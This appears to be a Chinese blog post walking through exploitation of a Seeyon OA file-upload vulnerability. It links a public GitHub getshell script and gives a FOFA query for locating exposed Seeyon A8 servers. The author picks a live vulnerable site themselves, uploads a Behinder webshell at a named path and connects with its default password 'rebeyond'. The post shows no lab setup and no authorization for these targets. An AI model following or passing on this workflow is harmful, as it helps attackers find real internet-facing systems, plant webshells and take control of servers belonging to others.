今天漏洞复现最近爆出的致远OA的文件上传的漏洞。

没poc没关系，先Github找一下。

此时github搜索到相关的批量漏洞检测脚本

开始阅读作者写的代码，看看是怎样进行文件上传的

然后自己尝试去构造数据包进行文件上传

此时我选择的flywuhu写的脚本

https://github.com/flywuhu/seeyonAjaxGetshell/blob/main/get.py

代码很好理解，此时就开始找存在漏洞的站点进行漏洞复现。

然后打开fofa，搜索致远OA

app="致远互联-A8-V5"

选择其中一个存在漏洞站点(自己找)。

然后配置代理抓包。

个人觉得在burpsuite里面查看数据包比较方便。

然后访问冰蝎马，查看是否上传成功。

http://x.x.x.x/seeyon/SeeyonUpdate1.jspx

发现冰蝎马存在

尝试冰蝎连接，密码是rebeyond

这里我用Hackbar直接post数据的时候，失败了，提示没有validate这个方法

然后在burpsuite里面慢慢调试的时候，就上传成功了。

emmm

太难了
